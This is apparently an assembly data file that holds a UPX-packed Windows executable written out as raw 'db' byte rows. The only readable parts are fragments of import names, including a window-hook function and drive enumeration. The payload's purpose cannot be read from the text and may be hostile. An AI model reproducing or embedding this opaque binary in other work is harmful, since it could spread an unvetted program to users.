  db 0,16,2,0,0,16,0,0,0,0,0,0,2,0,0,0
  db 0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0
  db 0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,2,0,232,1,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,85,80,88,48,0,0,0,0
  db 0,192,1,0,0,16,0,0,0,0,0,0,0,4,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,224
  db 85,80,88,49,0,0,0,0,0,48,0,0,0,208,1,0
  db 0,36,0,0,0,4,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,64,0,0,224,85,80,88,50,0,0,0,0
  db 0,16,0,0,0,0,2,0,0,2,0,0,0,40,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,49,46,50,51,0
  db 85,80,88,33,12,9,2,8,175,233,133,239,104,160,181,151
  db 81,216,1,0,45,34,0,0,0,92,0,0,38,1,0,158
  db 223,91,254,255,106,3,232,1,0,59,88,199,5,79,148,64
  db 0,148,0,104,8,19,22,223,255,238,230,131,61,95,2,117
  db 79,13,58,212,104,2,195,65,0,106,40,80,26,190,92,190
  db 221,237,104,144,97,25,104,156,4,106,0,63,184,140,97,175
  db 105,54,179,1,9,152,2,106,1,249,247,142,108,37,140,255
  db 53,63,60,148,104,0,96,99,187,255,158,4,88,20,11,192
  db 117,55,8,50,130,74,58,205,221,125,246,254,163,12,137,25
  db 194,163,16,9,131,37,20,41,65,239,96,239,149,10,14,73
  db 32,1,61,140,172,251,253,255,58,158,85,139,236,131,196,232
  db 255,117,248,141,69,252,17,60,24,82,102,123,118,107,182,119
  db 56,98,41,17,6,84,30,244,80,3,117,111,176,238,240,80
  db 25,1,155,247,198,171,128,177,205,246,253,152,214,199,69,85
  db 19,39,232,236,80,65,96,221,183,153,38,90,240,31,220,68
  db 13,11,183,177,246,237,208,139,32,201,195,51,192,3,125,176
  db 58,208,48,236,62,114,115,242,6,212,3,216,30,18,64,13
  db 220,0,114,251,236,141,224,6,183,143,69,228,22,240,6,59
  db 156,112,54,244,29,248,15,127,49,208,101,192,182,246,68,137
  db 128,2,252,17,62,139,117,199,182,236,145,208,238,86,106,143
  db 8,155,61,108,9,175,172,128,4,207,0,96,62,155,125,219
  db 114,57,246,176,51,176,61,110,248,76,118,216,109,100,180,44
  db 210,116,20,12,104,8,255,221,111,31,2,235,217,222,188,201
  db 194,16,0,220,129,196,0,254,255,255,131,125,12,240,159,251
  db 27,8,47,104,222,192,173,222,125,36,56,255,21,240,117,158
  db 61,219,142,93,31,217,218,232,10,58,188,176,80,233,115,161
  db 208,221,4,3,19,52,1,136,192,143,150,239,125,174,123,141
  db 13,115,24,149,139,11,129,81,4,42,3,107,187,177,140,114
  db 116,206,136,19,37,97,51,220,157,225,92,163,28,48,12,143
  db 5,24,8,142,217,220,247,109,80,5,114,141,4,169,27,133
  db 236,187,173,97,187,235,79,129,107,18,122,117,187,68,10,19
  db 1,247,238,183,53,16,8,16,78,117,50,44,7,169,235,43
  db 24,237,221,183,102,13,4,13,221,16,139,77,20,21,53,167
  db 235,21,68,225,61,91,182,20,2,16,12,118,57,252,248,217
  db 216,118,183,153,254,117,225,98,189,116,4,15,28,217,94,107
  db 238,139,212,219,65,1,145,21,14,220,35,75,247,216,161,251
  db 215,65,8,12,255,16,101,100,121,46,3,216,20,7,24,89
  db 70,150,145,11,28,15,32,19,9,228,230,130,24,165,19,23
  db 216,65,101,228,141,127,119,104,40,218,65,204,1,1,0,138
  db 221,223,24,238,15,133,75,236,200,2,18,204,163,184,137,64
  db 217,124,239,241,15,132,47,3,104,140,41,168,132,28,188,212
  db 189,189,139,64,12,139,4,0,163,192,37,102,161,188,219,65
  db 237,220,253,219,106,25,35,174,102,163,190,21,106,16,104,59
  db 15,166,231,123,72,101,162,224,27,60,104,240,10,102,251,61
  db 50,50,48,32,15,197,17,181,198,109,195,182,69,10,71,229
  db 4,112,17,31,106,64,109,115,159,245,222,48,120,16,17,112
  db 163,35,179,138,30,222,179,20,68,81,53,16,96,240,179,237
  db 96,151,47,12,161,12,54,205,46,80,26,185,108,251,101,122
  db 198,131,248,255,183,89,123,53,10,105,110,230,73,79,3,216
  db 91,60,35,7,22,70,2,7,109,224,169,13,148,187,11,130
  db 7,13,31,217,123,49,205,71,38,51,53,52,48,148,205,30
  db 237,146,1,45,35,1,124,56,146,231,225,201,31,255,125,24
  db 76,201,20,214,172,44,166,161,31,223,30,123,79,181,61,184
  db 11,104,118,6,255,5,152,80,17,30,254,101,205,89,3,200
  db 137,13,208,230,4,169,141,246,17,132,81,164,31,241,14,24
  db 177,239,151,153,204,46,139,200,139,61,17,139,102,247,247,34
  db 219,243,164,127,15,19,55,130,104,219,132,121,9,239,178,15
  db 161,9,55,204,219,128,92,114,10,131,0,212,46,123,135,45
  db 158,192,159,171,95,118,164,67,59,53,106,120,9,76,115,88
  db 187,63,120,116,55,161,22,57,5,216,13,117,35,133,245,67
  db 224,166,14,2,106,5,25,192,104,147,150,37,233,252,158,147
  db 134,163,42,131,37,179,236,32,124,147,118,156,4,132,163,116
  db 51,127,132,5,249,28,26,195,27,218,21,193,98,109,200,31
  db 75,52,28,221,235,13,132,229,151,28,34,104,212,129,241,225
  db 39,58,164,195,106,126,27,216,234,133,228,221,203,192,4,117
  db 34,24,1,104,39,218,4,190,127,111,234,231,128,61,21,10
  db 117,222,161,54,195,142,50,207,134,114,124,255,188,0,191,174
  db 117,249,93,200,29,125,31,245,141,61,8,120,185,0,43,214
  db 123,203,238,202,243,171,104,13,17,9,188,125,36,6,80,40
  db 180,104,75,146,23,80,104,21,8,31,193,78,6,34,81,16
  db 19,134,111,96,225,88,80,94,8,120,116,70,141,53,219,65
  db 222,127,134,217,141,5,34,229,61,56,192,89,141,185,17,205
  db 29,110,52,45,33,128,39,118,13,4,71,222,61,205,247,96
  db 219,203,52,86,104,186,96,3,25,3,15,18,177,143,77,49
  db 204,104,231,205,114,7,214,50,181,203,227,25,53,107,104,232
  db 165,123,191,2,18,24,64,174,103,54,247,169,125,18,24,127
  db 0,179,151,125,114,123,35,33,227,148,150,106,15,12,186,197
  db 70,12,10,211,120,115,161,248,223,203,130,140,27,144,163,26
  db 141,117,206,139,254,86,137,8,175,237,52,1,86,26,16,120
  db 18,95,120,96,175,127,141,19,172,60,131,215,88,64,64,4
  db 233,255,255,59,198,116,34,87,176,10,106,50,89,242,174,128
  db 103,255,0,95,139,199,48,224,178,223,44,34,10,243,166,11
  db 201,116,23,56,156,92,98,19,193,252,14,8,202,1,177,25
  db 227,161,83,210,119,163,42,90,10,54,194,194,94,236,100,41
  db 168,64,144,195,114,140,47,27,117,3,92,251,86,112,113,178
  db 199,67,69,254,233,120,114,198,64,83,251,147,185,21,149,20
  db 46,141,133,140,252,41,145,13,55,14,33,83,248,24,147,151
  db 93,161,250,231,224,221,6,105,5,171,87,104,254,29,24,206
  db 71,128,63,27,123,95,88,72,250,118,7,62,0,184,34,215
  db 145,166,54,113,97,175,104,13,95,196,169,128,101,195,221,120
  db 214,254,76,139,247,98,185,250,109,103,130,217,86,66,75,44
  db 151,79,173,224,232,70,67,115,198,86,207,133,126,183,240,43
  db 198,6,32,25,149,71,59,241,114,30,78,78,15,11,216,118
  db 236,251,32,8,49,3,141,10,80,120,101,109,103,123,67,133
  db 157,198,70,1,119,53,61,63,242,105,120,179,93,142,60,36
  db 116,28,12,21,57,103,255,238,27,18,50,9,236,173,13,32
  db 0,151,137,125,251,129,255,105,110,49,129,221,198,102,111,17
  db 213,173,51,219,12,54,7,4,102,120,16,157,1,243,215,27
  db 251,56,92,199,133,103,162,141,9,80,6,69,185,125,103,99
  db 41,178,28,100,252,225,108,231,161,35,100,100,6,104,76,236
  db 236,9,255,200,106,9,104,66,145,230,106,8,90,16,17,235
  db 62,132,87,148,149,104,20,117,34,100,48,236,126,127,237,242
  db 209,12,141,29,120,5,61,190,24,96,86,255,119,177,245,224
  db 6,3,175,6,137,3,198,67,3,32,131,195,4,235,254,151
  db 183,183,17,17,5,116,5,22,2,117,7,171,79,176,32,170
  db 131,198,4,128,2,67,232,23,180,117,207,97,87,83,35,71
  db 203,158,123,195,111,223,235,5,104,122,6,152,188,188,145,222
  db 225,104,133,105,33,223,237,161,9,8,8,111,9,186,13,63
  db 187,15,200,67,34,160,15,116,97,163,247,38,139,240,197,254
  db 28,219,51,255,19,87,135,42,102,139,198,69,176,24,124,220
  db 176,118,37,104,94,86,26,22,253,31,176,110,80,93,86,88
  db 88,3,240,71,131,255,35,117,190,67,129,108,96,178,96,192
  db 112,247,215,11,183,101,135,152,170,20,11,219,185,60,242,220
  db 114,180,253,195,23,179,202,102,118,245,47,92,78,12,233,30
  db 43,224,108,111,103,111,117,113,185,238,194,70,195,248,143,33
  db 49,10,191,6,10,63,205,79,243,235,60,60,50,12,49,60
  db 51,5,38,60,52,141,20,246,52,4,27,85,64,15,110,36
  db 99,26,160,251,162,14,110,23,254,96,120,109,115,103,32,117
  db 73,188,231,210,174,172,170,178,185,209,59,170,250,50,192,170
  db 245,19,47,4,118,15,97,179,5,88,201,100,105,114,233,195
  db 49,182,33,240,218,97,188,254,186,185,104,197,201,114,119,63
  db 176,137,133,184,16,141,189,232,5,130,91,110,180,26,10,148
  db 71,120,30,247,47,90,102,251,17,155,116,6,17,114,150,71
  db 182,238,13,101,255,181,220,21,86,76,232,189,104,174,134,125
  db 97,118,20,235,29,33,252,99,102,96,101,30,254,13,41,130
  db 13,140,23,26,40,162,182,143,190,215,65,152,163,182,63,90
  db 18,255,110,124,132,75,170,76,60,82,69,80,174,32,0,74
  db 33,151,203,229,119,21,1,210,131,0,91,167,67,232,131,251
  db 169,97,33,79,215,59,109,34,78,107,45,141,172,67,21,236
  db 156,110,66,235,106,43,176,4,78,155,28,204,40,48,2,200
  db 5,25,6,153,96,233,114,99,100,117,121,217,28,6,156,61
  db 3,90,61,185,112,102,93,126,6,251,248,74,14,24,1,194
  db 26,27,136,99,3,222,66,0,186,27,108,246,69,82,32,81
  db 105,115,116,161,18,242,233,220,102,98,246,17,228,104,128,223
  db 54,11,40,35,167,28,16,117,127,221,238,235,124,4,9,112
  db 38,21,252,15,190,10,139,14,227,102,172,165,220,117,81,66
  db 219,31,73,46,219,30,158,237,100,139,216,43,1,116,56,83
  db 46,0,128,67,198,177,191,131,232,4,120,68,255,54,20,104
  db 245,136,16,241,190,131,140,184,135,185,239,191,56,223,6,34
  db 125,247,83,101,32,129,254,18,15,190,71,59,195,142,120,102
  db 214,17,133,44,28,146,96,54,186,14,138,129,50,72,108,180
  db 135,247,88,46,213,140,253,40,141,9,167,103,115,219,147,180
  db 59,52,10,148,17,23,176,217,40,105,101,150,31,78,121,152
  db 53,12,58,146,173,14,242,116,90,184,255,3,107,105,108,108
  db 117,123,70,185,40,152,161,126,227,75,45,111,215,198,71,254
  db 0,66,45,117,1,70,86,225,5,111,255,78,48,128,126,255
  db 12,2,247,216,204,76,217,207,80,14,46,66,13,106,80,249
  db 132,23,8,221,88,21,24,247,235,22,244,76,221,254,137,99
  db 118,114,116,117,63,70,125,185,232,171,223,153,161,195,130,104
  db 144,46,86,195,10,108,252,34,51,70,115,114,118,108,23,203
  db 60,135,141,204,74,14,32,255,145,140,29,18,221,57,78,247
  db 57,18,139,132,92,229,129,14,231,2,109,225,129,36,100,115
  db 212,190,11,238,126,154,187,20,14,119,51,50,48,5,190,59
  db 6,102,129,15,247,52,240,214,39,4,63,45,114,251,1,19
  db 13,161,155,99,205,115,2,37,191,3,137,53,34,149,22,217
  db 153,91,5,61,38,100,32,91,214,171,50,179,92,115,148,183
  db 35,49,144,11,230,232,7,48,33,46,69,210,169,103,255,178
  db 159,168,228,162,144,107,196,148,156,40,228,100,34,38,8,217
  db 15,12,102,116,117,112,78,88,172,173,154,198,242,76,81,59
  db 212,107,148,44,82,75,134,12,51,168,137,87,9,175,13,161
  db 22,109,107,13,204,177,35,123,117,83,70,209,106,122,58,128
  db 91,163,41,18,113,102,248,210,115,18,210,171,101,89,191,132
  db 94,53,27,175,206,237,30,79,10,163,173,75,14,177,37,235
  db 245,115,42,126,83,60,176,85,178,46,200,248,104,118,191,219
  db 88,12,12,86,13,244,117,225,32,137,110,28,105,176,175,85
  db 200,115,180,23,0,213,242,75,73,115,114,109,81,211,59,70
  db 100,11,125,80,114,101,110,113,95,210,31,148,140,93,87,102
  db 40,100,101,108,25,33,100,45,79,190,145,152,177,64,57,40
  db 119,228,49,207,22,242,52,82,54,131,10,104,44,255,192,58
  db 161,47,10,8,124,101,120,101,99,117,118,39,140,86,2,79
  db 8,227,4,189,224,160,3,85,232,1,104,9,105,145,93,58
  db 249,92,24,137,108,26,32,118,182,146,11,20,78,111,112,117
  db 209,145,1,9,98,241,177,43,24,130,180,118,15,113,100,20
  db 59,94,167,235,23,104,128,7,25,160,9,134,4,216,170,78
  db 156,98,132,65,134,234,111,207,17,82,13,187,101,83,230,200
  db 211,208,237,61,32,161,107,118,34,121,82,197,104,120,72,92
  db 83,67,25,173,8,240,230,50,226,172,144,86,230,158,136,142
  db 206,16,208,65,22,229,86,217,223,39,113,222,46,64,128,61
  db 11,255,116,18,8,8,179,125,242,254,116,9,239,117,48,72
  db 192,121,26,102,203,11,106,183,84,23,86,177,255,11,235,96
  db 87,139,206,131,225,127,139,62,0,13,187,208,133,25,95,227
  db 246,187,106,65,189,148,178,128,42,88,117,42,116,11,18,90
  db 20,146,200,107,160,74,89,126,149,16,156,102,112,117,116,56
  db 97,207,80,198,30,52,87,19,117,46,236,115,32,139,223,20
  db 11,12,120,111,185,24,235,211,95,143,1,192,204,93,66,223
  db 198,30,63,136,19,31,94,139,127,109,1,179,46,83,106,21
  db 87,224,21,133,230,110,250,40,18,43,91,163,231,23,138,23
  db 167,225,237,237,51,201,73,91,253,176,92,4,252,71,71,75
  db 55,25,30,74,200,56,105,162,87,32,88,152,145,162,51,18
  db 0,205,182,94,131,80,94,61,205,11,73,244,109,203,70,19
  db 189,147,0,44,205,135,69,178,160,178,119,115,100,137,24,32
  db 164,146,1,13,129,128,96,198,206,50,14,191,58,51,118,217
  db 102,36,34,15,67,32,26,176,148,217,38,132,167,239,227,13
  db 210,139,167,51,187,143,43,83,29,15,249,52,42,1,192,87
  db 117,66,255,50,43,171,133,60,147,115,172,145,45,158,111,79
  db 211,187,172,64,11,132,179,61,28,134,153,128,115,54,195,73
  db 189,104,136,189,239,47,182,132,187,99,133,65,42,73,163,116
  db 31,57,20,137,126,114,22,123,52,42,37,128,59,124,235,190
  db 132,203,26,201,12,197,61,12,102,213,4,25,5,142,104,133
  db 60,156,140,131,45,35,0,112,118,92,8,247,131,165,120,96
  db 65,122,159,121,128,59,125,131,109,3,249,128,39,67,193,91
  db 199,3,80,179,112,86,243,232,24,83,15,244,2,124,15,215
  db 240,13,133,139,123,8,11,140,196,31,141,247,45,70,190,46
  db 12,183,252,3,127,3,116,109,68,73,223,98,105,127,4,83
  db 64,176,4,104,122,175,167,45,38,123,193,142,220,14,130,162
  db 192,222,44,102,10,162,23,151,32,11,179,243,255,133,125,39
  db 124,128,127,101,199,250,136,58,236,27,10,117,60,80,192,145
  db 176,192,79,213,88,85,59,216,101,74,18,241,61,3,25,142
  db 112,153,185,216,133,47,95,238,238,235,81,167,97,169,15,44
  db 105,199,45,237,8,79,89,177,144,16,168,235,93,235,64,104
  db 144,20,74,143,86,178,217,5,62,65,3,46,99,226,25,244
  db 11,245,164,94,3,252,161,58,235,175,254,110,138,24,185,85
  db 139,125,8,120,170,44,94,224,193,127,3,248,79,17,92,117
  db 250,141,5,96,246,126,103,56,31,117,246,46,123,30,253,251
  db 218,11,167,134,60,56,95,18,87,242,136,139,77,252,60,82
  db 117,181,17,57,145,206,203,104,217,97,146,188,228,6,56,16
  db 108,16,108,253,197,132,240,25,11,5,179,201,194,8,8,67
  db 196,184,51,48,16,102,200,93,194,205,70,173,74,183,180,75
  db 220,5,4,56,249,86,165,11,203,65,0,50,19,81,239,77
  db 118,231,208,17,26,12,35,55,201,27,208,98,106,37,46,195
  db 65,53,13,180,83,76,138,20,19,172,9,24,123,86,221,64
  db 94,125,32,24,19,95,225,62,254,104,41,9,108,4,199,8
  db 33,95,244,255,208,195,225,4,133,87,154,50,47,195,179,11
  db 61,147,128,82,178,18,20,148,79,147,130,21,111,75,30,104
  db 36,162,241,173,0,210,21,185,218,158,218,59,129,169,75,163
  db 166,8,4,239,197,14,228,32,3,42,70,19,148,140,120,118
  db 9,110,96,146,51,180,111,192,88,177,200,249,83,131,101,204
  db 27,121,158,136,45,201,15,90,149,196,229,200,65,32,131,204
  db 137,112,98,217,110,141,29,191,29,200,25,204,80,3,208,3
  db 180,134,183,212,80,34,104,200,209,152,193,243,125,54,5,34
  db 117,252,50,172,140,19,242,144,54,50,93,200,80,129,106,139
  db 44,164,195,138,3,233,51,103,37,59,100,91,147,163,42,67
  db 4,43,176,94,35,43,253,44,2,125,36,110,21,56,195,214
  db 114,117,160,211,131,69,98,88,162,212,155,154,184,104,24,140
  db 91,243,216,8,216,236,131,125,120,36,10,116,56,6,16,83
  db 47,202,121,182,183,116,17,30,248,33,18,248,232,218,97,131
  db 189,3,255,69,216,14,154,89,139,18,182,11,152,202,92,61
  db 79,255,1,20,214,130,57,176,95,32,82,220,124,50,80,50
  db 216,1,97,160,55,146,193,204,1,26,91,166,6,50,193,39
  db 77,90,144,0,116,137,197,136,217,93,211,0,184,0,0,188
  db 249,127,115,145,4,200,14,31,186,14,0,180,9,205,33,184
  db 1,76,219,255,239,96,84,45,32,112,114,111,103,114,97,109
  db 32,99,97,110,110,111,235,98,169,191,109,245,101,32,114,117
  db 46,105,2,68,79,83,32,109,111,212,96,255,193,126,46,13
  db 13,10,36,67,113,212,247,219,53,181,153,136,3,143,220,124
  db 119,38,7,201,149,139,136,52,187,170,138,82,105,99,11,117
  db 132,189,104,27,139,80,144,76,254,176,75,193,1,5,33,182
  db 61,19,224,0,14,33,11,193,6,27,91,12,220,8,228,16
  db 3,123,179,177,177,32,34,16,11,2,26,0,7,103,110,73
  db 55,12,96,30,52,16,179,240,108,96,7,6,224,49,47,156
  db 38,6,201,194,48,44,60,10,69,194,0,217,72,0,0,48
  db 139,123,167,219,224,46,116,103,116,164,146,144,179,126,223,45
  db 236,4,35,234,96,46,98,115,115,16,112,2,252,203,5,118
  db 123,128,208,46,114,100,97,116,97,192,146,48,185,124,2,59
  db 2,247,102,179,102,64,46,38,106,160,47,207,242,79,217,12
  db 39,192,46,114,101,108,111,99,104,80,194,78,201,32,14,66
  db 0,0,167,192,21,162,91,69,137,83,37,28,19,165,2,9
  db 193,133,175,66,197,112,125,244,117,32,38,94,26,75,174,169
  db 24,116,20,80,45,116,11,152,130,104,195,123,8,42,232,134
  db 20,252,190,40,252,235,30,37,115,24,196,43,241,6,217,27
  db 4,246,70,88,76,188,19,111,54,97,54,36,105,247,7,153
  db 90,230,120,6,41,8,163,51,182,48,19,174,208,183,94,60
  db 144,177,147,181,15,81,41,14,34,12,95,119,44,62,41,2
  db 195,24,12,34,64,100,51,222,102,83,189,18,228,12,192,40
  db 216,247,164,250,185,9,122,13,39,120,171,228,94,86,173,254
  db 16,136,93,87,83,81,86,82,70,205,190,88,124,10,80,78
  db 57,210,205,108,255,11,246,54,183,27,22,228,90,94,89,91
  db 95,62,8,26,48,87,158,188,250,37,32,240,244,135,26,25
  db 73,218,52,3,71,235,248,13,172,253,111,191,255,92,116,7
  db 198,7,92,128,103,27,70,149,58,27,185,110,194,250,64,232
  db 198,20,228,158,144,238,75,133,252,128,189,238,22,115,31,21
  db 187,224,113,247,48,84,29,154,63,123,200,97,103,238,158,252
  db 235,72,66,163,109,16,14,12,66,240,66,3,169,54,153,187
  db 212,192,104,2,108,23,234,66,143,153,47,11,16,255,181,226
  db 15,255,85,12,154,207,135,122,161,41,188,250,40,204,108,94
  db 104,88,86,18,219,8,138,37,32,48,200,200,200,86,5,4
  db 8,12,200,200,200,200,16,20,24,28,200,200,200,200,0,56
  db 40,44,162,176,204,200,48,52,8,166,89,110,47,80,49,3
  db 200,48,218,234,92,211,52,203,2,49,18,44,68,188,19,108
  db 154,166,251,0,124,23,140,156,176,106,49,203,119,9,131,48
  db 175,92,19,48,164,96,6,51,32,198,231,123,109,49,42,73
  db 12,70,88,187,193,2,91,67,95,115,101,31,11,70,182,183
  db 183,3,114,115,116,4,108,101,65,29,145,78,43,254,103,38
  db 30,16,225,0,71,101,116,67,117,114,187,255,107,254,118,116
  db 68,39,101,99,116,111,114,121,240,23,68,114,105,118,101,84
  db 22,45,154,221,121,112,39,9,1,76,194,112,242,246,118,236
  db 97,108,22,83,116,5,110,103,115,65,62,2,83,116,219,246
  db 4,211,2,108,117,114,46,116,11,220,93,226,255,157,112,23
  db 75,69,82,78,69,76,51,50,43,108,108,222,254,183,189,13
  db 20,0,67,80,108,143,72,111,111,107,69,120,17,219,1,80

  db 115,223,37,222,186,116,77,101,153,97,103,177,16,95,177,217
  db 221,119,89,15,93,111,87,196,111,119,115,51,43,97,238,183
  db 20,129,2,85,110,104,11,22,144,180,178,97,109,83,106,103
  db 0,136,217,226,33,19,48,50,34,1,217,52,91,107,172,3
  db 24,40,191,16,179,108,154,102,98,246,159,59,50,84,237,232
  db 51,77,98,111,57,2,41,75,98,221,182,67,236,114,105,86
  db 160,97,236,104,65,110,17,225,173,13,12,120,101,100,46,102
  db 73,110,40,208,111,215,213,234,75,66,42,0,82,51,70,206
  db 209,86,149,24,83,15,12,0,136,66,154,181,34,25,232,161
  db 52,132,176,109,42,181,135,81,70,2,32,68,255,127,179,76
  db 16,72,8,48,51,48,79,48,106,48,114,48,119,48,131,48
  db 146,255,255,255,255,48,161,48,181,48,196,48,209,48,123,49
  db 213,49,232,49,237,49,254,49,14,50,64,50,70,50,76,50
  db 82,50,88,50,94,40,146,255,255,50,100,50,106,50,112,50
  db 118,50,124,50,130,50,136,50,142,50,134,224,24,141,202,224
  db 245,127,34,102,15,218,228,249,5,31,9,123,65,62,71,95
  db 228,249,232,249,11,18,220,10,241,9,57,159,104,228,191,35
  db 224,247,201,100,73,158,59,142,18,130,113,2,221,138,182,136
  db 64,202,70,19,138,195,92,35,14,130,51,178,243,179,70,80
  db 84,59,28,104,180,16,203,78,17,236,130,11,121,101,75,246
  db 186,101,16,67,65,82,14,133,73,138,111,114,236,250,38,106
  db 2,44,25,209,176,106,172,127,43,136,28,156,156,232,250,7
  db 236,123,42,32,207,169,182,106,8,39,171,161,120,167,172,252
  db 177,141,189,11,204,212,222,109,21,134,166,53,172,170,10,192
  db 11,230,59,117,82,92,145,216,121,245,96,195,62,138,81,17
  db 106,63,21,141,1,204,190,20,122,18,207,81,77,177,43,130
  db 31,132,104,248,37,181,151,173,236,123,160,110,226,127,11,76
  db 130,177,98,115,46,13,0,151,2,104,87,76,104,122,64,106
  db 177,139,216,170,210,167,179,71,104,251,104,134,214,189,22,169
  db 70,138,124,0,198,139,223,81,31,6,9,253,139,200,43,71
  db 71,252,87,104,107,75,71,184,167,129,81,136,38,147,156,66
  db 86,197,14,0,24,234,3,189,199,138,33,80,131,189,177,8
  db 228,22,123,50,186,208,131,165,19,26,224,249,151,241,146,28
  db 224,249,10,24,34,162,109,182,65,85,6,74,183,163,190,7
  db 185,53,235,176,75,97,4,163,236,15,89,158,75,158,75,240
  db 102,244,115,226,100,159,75,248,176,97,90,116,34,203,158,203
  db 150,79,182,31,252,196,15,210,41,54,16,17,88,252,128,36
  db 145,162,20,229,244,251,106,62,208,191,32,208,54,219,67,155
  db 32,57,5,16,227,253,104,43,128,16,145,213,131,61,12,5
  db 118,93,192,123,30,141,141,51,148,42,23,104,144,226,61,25
  db 228,21,35,124,88,163,38,7,189,243,172,44,252,253,17,218
  db 176,3,61,160,74,208,27,97,144,25,123,104,121,96,11,251
  db 209,176,201,102,188,14,42,106,80,35,120,128,11,88,104,17
  db 123,107,179,243,233,114,38,250,251,20,15,207,200,30,146,61
  db 58,98,65,216,250,66,255,172,250,66,2,86,81,139,240,156
  db 138,4,49,60,65,114,237,255,111,255,9,60,90,119,5,4
  db 32,136,12,73,121,237,139,198,89,94,195,81,51,201,65,128
  db 60,35,213,64,76,248,117,249,139,193,89,51,244,51,216,126
  db 11,90,114,39,32,117,1,64,129,6,230,238,182,59,103,9
  db 9,16,13,117,3,26,65,8,8,117,25,183,37,75,212,115
  db 64,255,25,254,13,219,109,224,218,106,107,12,30,146,7,5
  db 57,119,52,21,57,25,27,65,12,90,96,76,183,25,43,5
  db 88,186,114,10,8,192,100,146,67,206,18,219,228,233,82,171
  db 62,57,245,73,116,28,219,210,184,127,191,205,47,254,5,113
  db 128,61,5,70,15,130,28,18,97,211,217,48,31,229,120,70
  db 103,107,191,44,137,222,9,128,37,40,247,106,166,194,4,42
  db 55,58,182,89,145,131,117,190,90,211,237,88,183,63,19,61
  db 96,234,5,118,31,80,80,195,10,11,186,44,96,234,10,82
  db 92,146,128,230,227,91,89,159,83,209,96,63,9,56,91,65
  db 83,104,123,159,139,85,170,247,123,64,187,15,3,29,27,123
  db 109,28,227,187,125,202,96,200,202,134,29,199,180,127,33,91
  db 38,202,78,163,35,125,118,68,239,247,178,141,181,11,129,61
  db 52,188,114,45,22,116,136,206,80,143,217,83,19,50,200,229
  db 123,159,71,107,219,88,220,162,135,16,71,64,241,100,187,156
  db 102,187,219,0,122,157,76,11,193,227,8,8,72,156,179,145
  db 27,106,68,241,72,6,76,111,3,157,13,69,60,114,53,139
  db 141,33,190,12,78,150,73,84,0,67,149,231,242,239,15,209
  db 14,148,2,28,71,54,138,156,40,27,240,38,219,255,136,92
  db 16,4,64,10,219,117,239,82,50,64,38,173,251,174,207,166
  db 86,120,44,73,90,141,130,9,51,80,6,50,114,228,200,8
  db 3,7,2,134,1,5,46,249,92,58,66,4,80,107,107,0
  db 248,32,71,162,96,204,14,232,120,81,82,130,255,55,254,83
  db 139,117,12,139,69,8,196,138,20,1,10,210,117,10,145,91
  db 90,89,223,104,27,239,251,235,44,128,250,142,18,4,141,13
  db 128,234,65,203,203,219,255,179,25,42,218,178,65,2,211,235
  db 21,22,97,114,16,122,119,11,97,214,254,47,35,97,134,20
  db 49,65,235,189,255,37,112,81,117,5,200,200,200,200,92,88
  db 84,80,200,200,200,200,76,72,68,64,200,200,200,200,108,56
  db 52,48,200,200,200,200,44,40,36,32,216,200,200,200,28,60
  db 96,100,119,35,35,223,201,104,80,5,92,96,100,35,35,35
  db 35,104,108,112,116,35,35,35,35,120,124,128,132,35,35,35
  db 35,136,140,144,148,35,35,35,35,152,156,160,164,35,35,35
  db 35,168,172,176,180,35,35,35,35,184,188,192,196,35,35,35
  db 35,200,204,208,212,35,35,35,35,216,220,224,228,35,35,35
  db 35,232,236,64,244,35,35,35,35,248,252,240,84,35,35,35
  db 35,80,76,72,68,35,35,35,35,28,56,52,48,35,35,35
  db 35,44,40,36,32,35,35,35,35,0,24,20,16,35,35,35
  db 35,12,8,4,160,70,70,70,158,81,156,152,148,144,70,70
  db 70,70,140,120,124,128,93,97,70,70,132,136,238,87,253,119
  db 52,74,14,145,142,51,210,138,6,70,60,2,117,18,23,110
  db 251,191,6,247,210,70,235,11,44,48,141,12,137,2,72,21
  db 118,99,238,21,127,241,141,4,17,51,194,95,237,143,65,20
